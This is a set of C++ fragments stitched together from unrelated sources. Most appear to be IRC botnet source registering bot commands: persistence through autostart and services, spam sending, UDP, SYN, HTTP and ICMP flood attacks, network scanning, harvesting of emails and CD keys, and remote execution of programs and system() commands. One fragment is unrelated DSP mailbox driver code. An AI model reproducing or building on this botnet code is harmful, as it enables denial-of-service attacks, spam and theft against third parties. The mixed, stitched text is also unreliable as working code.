void CInstaller::Init() { #ifdef WIN32 REGCMD(m_cmdAsAdd, "inst.asadd", "adds an autostart entry", false, this); REGCMD(m_cmdAsDel, "inst.asdel", "deletes an autostart entry", false, this); REGCMD(m_cmdSvcAdd, "inst.svcadd", "adds a service to scm", false, this); REGCMD(m_cmdSvcDel, "inst.svcdel", "deletes a service from scm", false, this); #endif // WIN32 }
void CSMTP_Logic::Init() { REGCMD(m_cmdSetList, "spam.setlist", "downloads an email list", false, this); REGCMD(m_cmdSetTemplate, "spam.settemplate", "downloads an email template", false, this); REGCMD(m_cmdStart, "spam.start", "starts the spamming", false, this); REGCMD(m_cmdStop, "spam.stop", "stops the spamming", false, this); REGCVAR(spam_maxthreads, "8", "Spam Logic - Number of threads", false, false, 0); REGCVAR(spam_htmlemail, "true", "Spam Logic - Send HTML emails", false, false, 0); }
void CDDOS::Init() { m_iNumThreads=0; m_bDDOSing=false; REGCMD(m_cmdUDP, "ddos.udpflood", "starts a UDP flood", false, this); REGCMD(m_cmdSyn, "ddos.synflood", "starts an SYN flood", false, this); REGCMD(m_cmdHTTP, "ddos.httpflood", "starts a HTTP flood", false, this); REGCMD(m_cmdStop, "ddos.stop", "stops all floods", false, this); REGCMD(m_cmdPhatSyn, "ddos.phatsyn", "starts syn flood", false, this); REGCMD(m_cmdPhatICMP, "ddos.phaticmp", "starts icmp flood", false, this); REGCMD(m_cmdPhatWonk, "ddos.phatwonk", "starts leet flood", false, this); REGCMD(m_cmdTarga3, "ddos.targa3", "start a targa3 flood", false, this); }
void CScanner::Init() { m_bScanning=false; REGCMD(m_cmdAddNetRange, "scan.addnetrange", "adds a netrange to the scanner", false, this); REGCMD(m_cmdDelNetRange, "scan.delnetrange", "deletes a netrange from the scanner", false, this); REGCMD(m_cmdListNetRanges, "scan.listnetranges", "lists all netranges registered with the scanner", false, this); REGCMD(m_cmdClearNetRanges, "scan.clearnetranges", "clears all netranges registered with the scanner", false, this); REGCMD(m_cmdResetNetRanges, "scan.resetnetranges", "resets netranges to the localhost", false, this); REGCMD(m_cmdEnableScanner, "scan.enable", "enables a scanner module", false, this); REGCMD(m_cmdDisableScanner, "scan.disable", "disables a scanner module", false, this); REGCMD(m_cmdScanStartAll, "scan.startall", "enable all Scanners and start scanning", false, this); REGCMD(m_cmdScanStopAll, "scan.stopall", "disable all Scanners and stop scanning", false, this); REGCMD(m_cmdStart, "scan.start", "signal start to child threads", false, this); REGCMD(m_cmdStop, "scan.stop", "signal stop to child threads", false, this); REGCMD(m_cmdStats, "scan.stats", "displays stats of the scanner", false, this); m_cPortScanner.AddLocalLAN(); // Start a non-dynamic, auto-restarting thread m_cPortScanner.Start(false, true); // m_cPortScanner.EnableScanner("NetBios"); // m_cPortScanner.EnableScanner("DW"); // m_cPortScanner.EnableScanner("DCOM"); // m_cPortScanner.EnableScanner("Doom"); // m_bScanning=true; }
void CHarvest_EMails::Init() { REGCMD(m_cmdEMails, "harvest.emails", "makes the bot get a list of emails", false, this); REGCMD(m_cmdEMailsHTTP, "harvest.emailshttp", "makes the bot get a list of emails via http", false, this); }
void CBot::Init() { init_random(); CString sTemp; sTemp.Format("%d", brandom(500, 22226)); CString sTempFTP; sTempFTP.Format("%d", brandom(500, 22226)); REGCVAR(bot_ftrans_port, sTemp.CStr(), "Bot - File Transfer Port", false, false, 0 ); REGCVAR(bot_ftrans_port_ftp, sTempFTP.CStr(), "Bot - File Transfer Port for FTP", false, false, 0 ); REGCVAR(si_chanpass, "", "Server Info - Channel Password", false, false, 0 ); REGCVAR(si_mainchan, "", "Server Info - Main Channel", false, false, 0 ); REGCVAR(si_nickprefix, "", "Server Info - Nickname prefix", false, false, 0 ); REGCVAR(si_port, "", "Server Info - Server Port", false, false, 0 ); REGCVAR(si_server, "", "Server Info - Server Address", false, false, 0 ); REGCVAR(si_servpass, "", "Server Info - Server Password", false, false, 0 ); REGCVAR(si_usessl, "", "Server Info - Use SSL ?", false, false, 0 ); Config(); REGCMD(m_cmdAbout, "bot.about", "...", false, this); REGCMD(m_cmdDie, "bot.die", "terminates the bot", false, this); REGCMD(m_cmdDns, "bot.dns", "resolves ip/hostname by dns", false, this); REGCMD(m_cmdExecute, "bot.execute", "makes the bot execute a .exe", false, this); REGCMD(m_cmdId, "bot.id", "displays the id of the current code", false, this); REGCMD(m_cmdNick, "bot.nick", "changes the nickname of the bot", false, this); REGCMD(m_cmdOpen, "bot.open", "opens a file (whatever)", false, this); REGCMD(m_cmdRemove, "bot.remove", "removes the bot", false, this); REGCMD(m_cmdRemoveAllBut, "bot.removeallbut", "removes the bot if id does not match", false, this); REGCMD(m_cmdRndNick, "bot.rndnick", "makes the bot generate a new random nick", false, this); REGCMD(m_cmdStatus, "bot.status", "gives status", false, this); REGCMD(m_cmdSysInfo, "bot.sysinfo", "displays the system info", false, this); REGCMD(m_cmdLongUptime, "bot.longuptime", "If uptime > 7 days then bot will respond", false, this); REGCMD(m_cmdQuit, "bot.quit", "quits the bot", false, this); REGCMD(m_cmdFlushDNS, "bot.flushdns", "flushes the bots dns cache", false, this); REGCMD(m_cmdSecure, "bot.secure", "delete shares / disable dcom", false, this); REGCMD(m_cmdUnSecure, "bot.unsecure", "enable shares / enable dcom", false, this); REGCMD(m_cmdCommand, "bot.command", "runs a command with system()", false, this); CString sRndNick=RndNick(si_nickprefix.sValue.CStr()); g_pMainCtrl->m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); m_lStartTime=(unsigned long)GetTickCount()/1000; }
char *subcmd_name(struct mbcmd *mb) { unsigned char cmd_h = mb->cmd_h; unsigned char cmd_l = mb->cmd_l; char *s; switch (cmd_h) { case MBCMD(RUNLEVEL): s = (cmd_l == RLCMD(USER)) ? "USER": (cmd_l == RLCMD(SUPER)) ? "SUPER": (cmd_l == RLCMD(RECOVERY)) ? "RECOVERY": NULL; break; case MBCMD(PM): s = (cmd_l == PMCMD(DISABLE)) ? "DISABLE": (cmd_l == PMCMD(ENABLE)) ? "ENABLE": NULL; break; case MBCMD(DSPCFG): { unsigned char cfgc = cmd_l & 0x7f; s = (cfgc == CFGCMD(REQ)) ? "REQ": (cfgc == CFGCMD(SYSADRH)) ? "SYSADRH": (cfgc == CFGCMD(SYSADRL)) ? "SYSADRL": (cfgc == CFGCMD(ABORT)) ? "ABORT": (cfgc == CFGCMD(PROTREV)) ? "PROTREV": NULL; break; } case MBCMD(REGRW): s = (cmd_l == REGCMD(MEMR)) ? "MEMR": (cmd_l == REGCMD(MEMW)) ? "MEMW": (cmd_l == REGCMD(IOR)) ? "IOR": (cmd_l == REGCMD(IOW)) ? "IOW": (cmd_l == REGCMD(DATA)) ? "DATA": NULL; break; case MBCMD(GETVAR): case MBCMD(SETVAR): s = (cmd_l == VICMD(ICRMASK)) ? "ICRMASK": (cmd_l == VICMD(LOADINFO)) ? "LOADINFO": NULL; break; case MBCMD(ERR): s = (cmd_l == EID(BADTID)) ? "BADTID": (cmd_l == EID(BADTCN)) ? "BADTCN": (cmd_l == EID(BADBID)) ? "BADBID": (cmd_l == EID(BADCNT)) ? "BADCNT": (cmd_l == EID(NOTLOCKED)) ? "NOTLOCKED": (cmd_l == EID(STVBUF)) ? "STVBUF": (cmd_l == EID(BADADR)) ? "BADADR": (cmd_l == EID(BADTCTL)) ? "BADTCTL": (cmd_l == EID(BADPARAM)) ? "BADPARAM": (cmd_l == EID(FATAL)) ? "FATAL": (cmd_l == EID(NOMEM)) ? "NOMEM": (cmd_l == EID(NORES)) ? "NORES": (cmd_l == EID(IPBFULL)) ? "IPBFULL": (cmd_l == EID(TASKNOTRDY)) ? "TASKNOTRDY": (cmd_l == EID(TASKBSY)) ? "TASKBSY": (cmd_l == EID(TASKERR)) ? "TASKERR": (cmd_l == EID(BADCFGTYP)) ? "BADCFGTYP": (cmd_l == EID(DEBUG)) ? "DEBUG": (cmd_l == EID(BADSEQ)) ? "BADSEQ": (cmd_l == EID(BADCMD)) ? "BADCMD": NULL; break; default: s = NULL; } return s; }
/* ======================================================================================================================= ======================================================================================================================= */ void CHarvest_CDKeys::Init(void) { REGCMD(m_cmdCDKeys, "harvest.cdkeys", "makes the bot get a list of cdkeys", false, this); }
void CMac::Init() { REGCMD(m_cmdLogout, "mac.logout", "logs the user out", false, this); REGCMD(m_cmdLogin, "login", "logs the user in", false, this); }